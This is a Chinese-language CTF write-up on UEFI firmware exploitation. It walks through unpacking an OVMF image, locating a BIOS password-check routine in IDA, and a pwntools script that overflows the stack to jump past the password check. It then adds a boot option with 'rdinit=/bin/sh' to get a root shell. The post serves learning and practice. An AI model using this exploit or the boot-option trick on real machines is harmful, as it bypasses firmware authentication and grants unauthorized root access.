UEFI pwn初探

UEFI pwn初探

[toc]

UEFI PWN

0x00. 工具安装

安装binwalk

1
sudo apt install binwalk

安装uefi-firnware-parser

1
pip install uefi_firmware

Windows上安装UEFITool:

链接

ida安装插件find-crypt

地址

其中,需要为idapython安装库,如下所示:

1
pip install yara-python

将下载后的文件内的.ruls .py文件放入idaplugins文件即可。

安装winchecksec链接,可以选择置入Ubuntu的可执行文件目录。

0x01. 基本流程

下载题目文件,一般会给一个*.fd文件,和一个*.py的启动脚本,以及用于启动qemubz-Image*.cpio打包的文件目录等。

可以先观察启动脚本,修改里面的一些信息例如timeout等信息,便于我们进行调试。

解包文件目录

一样的

1
2
3
4
mdkir core
cp ./initramfs.cpio core
cd core
cpio -idmv < ./initramfs.cpio

随后可以观察一下解包出来的init启动脚本,例如本测试题目有如下信息表明这是一个UEFI Pwn

1
mount -t efivarfs efivarfs /sys/firmware/efi/efivars

查看固件信息

可以通过多种方式,例如:

  • 第一步下载的UEFI Tool,可以用图形界面来打开OVMF.fd
  • 利用binwalk -Me ./OVMF.fd来查看固件信息。

解压固件

可以通过UEFI-FIRMWARE-PARSER解压固件,如下所示:

1
uefi-firmware-parser -ecO ./OVMF.fd

定位UIAPP

启动时按下F12,可以进入BIOS,如下本题是一个输入密码验证的程序,不同的程序有所区别:

image-20240516160622487

图上还显示了一些信息,例如7CB8*,和462CAA*

bash中搜索两个文件,如下所示:

1
2
$ find ./* -name '*462c*'
./OVMF.fd_output/volume-0/file-9e21fd93-9c72-4c15-8c4b-e77f1db2d792/section0/section3/volume-ee4e5898-3914-4259-9d6e-dc7bd79403cf/file-462caa21-7614-4503-836e-8ab6f4662331

可以看到找到了和图中一模一样的文件夹,其中含有如下文件:

1
2
$ ls
file.obj section1.raw section3.version section0.pe section2.ui

而其中,我们使用ida打开section0.pe文件,按下shift+f12,查找字符串。

查找我们刚刚在bios中看到的字符串,例如Enter Password。若没有找到,右键空白处,点击Setup

选择Unicode C-style(16bits)或者其他选项,如图所示:

image-20240516161224812

选中之后我即找到了Enter Password字符串。交叉引用,找到main函数:

image-20240516161307779

确认程序基地址

通过winchecksec查询程序保护机制。如下所示:

image-20240516203846098

可见这里是没有开启elf中类似于PIE的保护机制的,因此我们可以直接确定整个程序的基地址。

通过如下脚本来通过qemu启动bios,注意我们添加了-s参数以便我们挂载:

注意,若要复用该脚本,需要注意更改qemu启动选项。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

context.arch = "amd64"
context.log_level = "debug"

tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.ra = tube.recvall
tube.rr = tube.recvregex
tube.irt = tube.interactive

DEBUG = 1

if DEBUG == 0:
fname = "/tmp/test_uefi"
os.system("cp OVMF.fd %s" % (fname))
os.system("chmod u+w %s" % (fname))

p = process(["qemu-system-x86_64", "-m", "64M", "-drive", "if=pflash,format=raw,file="+fname, "-drive",
"file=fat:rw:contents,format=raw", "-net", "none", "-nographic"], env={})
elif DEBUG == 1:
fname = "/tmp/test_uefi"
os.system("cp OVMF.fd %s" % (fname))
os.system("chmod u+w %s" % (fname))

p = process(["qemu-system-x86_64", "-s", "-m", "64M", "-drive", "if=pflash,format=raw,file="+fname, "-drive",
"file=fat:rw:contents,format=raw", "-net", "none", "-nographic"], env={})
elif DEBUG == 2:
p = remote('accessing-the-truth.pwn2win.party', 1337)

def exploit():
p.recvn(1)
# sleep(1)
p.send("\x1b[24~")

p.irt()

if __name__ == "__main__":
exploit()

通过上面的脚本运行该程序,并新开一个shell来运行gdb,通过如下命令来连接到qemu:

1
target remote:1234

随后,我们只需要通过一个字符串的地址,即可确定整个程序的基地址。

ida中,根据字符串的地址来找到其位于Hex View中的位置,如下所示:

image-20240516204405902

选中后,右键点击Convert->Convert to hex string,即可在ida输出框中获得字符串内容的十六机制表示:

image-20240516204524171

随后,在gdb连接到的qemu中,通过search -x搜索该字符串:

image-20240516204807712

如上所示,我们找到了该字符串的三处出现位置。然而,我们在ida中观察到字符串的地址为0x13990,这意味着字符串地址以0x90结尾,因此0x28ba990即为字符串真实地址。

因此,简单计算即可得出程序的真实基地址:

image-20240516205049827

通过该真实地址比对main函数处代码,确认即可。

随后即可修改IDA的基地址,ida中点击左上角edit -> Segments -> Rebase Program,输入程序基地址即可。

漏洞利用

这一部分反而对于每个题目是不一样的,此处不再赘述。

基于本篇内容的题目是一个栈溢出,那么溢出到哪里呢?

image-20240517101846199

可以观察到main函数内会根据比对密码是否成功返回1或者0

因此,我们交叉引用main函数,如下所示:

image-20240517101945324

可以看到若main函数返回为真,则会进入该if语句。因此我们查看其地址:

image-20240517102056337

只要main函数为真,我们进入该if语句即可。因此,溢出后的地址我们选择0x28b0dd5,就相当于后门地址。

因此exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *

context.arch = "amd64"
# context.log_level = "debug"

tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.ra = tube.recvall
tube.rr = tube.recvregex
tube.irt = tube.interactive

DEBUG = 0

if DEBUG == 0:
fname = "/tmp/test_uefi"
os.system("cp OVMF.fd %s" % (fname))
os.system("chmod u+w %s" % (fname))

p = process(["qemu-system-x86_64", "-m", "64M", "-drive", "if=pflash,format=raw,file="+fname, "-drive",
"file=fat:rw:contents,format=raw", "-net", "none", "-nographic"], env={})
elif DEBUG == 1:
fname = "/tmp/test_uefi"
os.system("cp OVMF.fd %s" % (fname))
os.system("chmod u+w %s" % (fname))

p = process(["qemu-system-x86_64", "-s", "-m", "64M", "-drive", "if=pflash,format=raw,file="+fname, "-drive",
"file=fat:rw:contents,format=raw", "-net", "none", "-nographic"], env={})
elif DEBUG == 2:
p = remote('accessing-the-truth.pwn2win.party', 1337)

def exploit():
p.recvn(1)
# sleep(1)
p.send("\x1b[24~")
payload = b'\n'*0xa8 + p32(0x28b0dd5)
payload += b'\r'

#pause()
p.sa('Password', payload)

payload = '\r'
p.s(payload)
p.s(payload)

p.irt()

if __name__ == "__main__":
exploit()

进入BIOS并添加启动项

运行上述脚本。但是上述脚本不能直接运行,因为pwntools对图形界面的支持不够好。

因此,我们通过如下命令来通过socat挂载该程序:

1
socat -,raw,echo=0 SYSTEM:"python3 ./exp.py"

此时即可进入BIOS

如图所示:

image-20240517102556611

我们选择英语,进入BOOT Maintenance Manager

image-20240517102623282

继续,选择Boot Options

image-20240517102644823

选择Add Boot Option:

image-20240517102812911

选中唯一的选项即可,继续:

image-20240517102839779

选择bzImage

image-20240517103042801

Input the description中输入rootshell,随后在Input the Optional Data中输入如下内容:

1
console=ttyS0 initrd=initramfs.cpio rdinit=/bin/sh quiet

注意,initrd的参数的cpio文件是文件系统,一定要放在contents目录下,这是BIOS默认寻找的文件夹。

若不知道这里该填什么,可以看题目给的boot.nsh文件,添加上rdinit=/bin/sh即可。

随后保存即可,回到最开始的界面:

image-20240517103223480

选择Boot Manager

image-20240517103239383

选中我们刚刚创建的启动项,即可以root权限进入系统。


UEFI pwn初探
http://example.com/2024/07/18/system/multiarch/UEFI/
作者
Ltfall
发布于
2024年7月18日
许可协议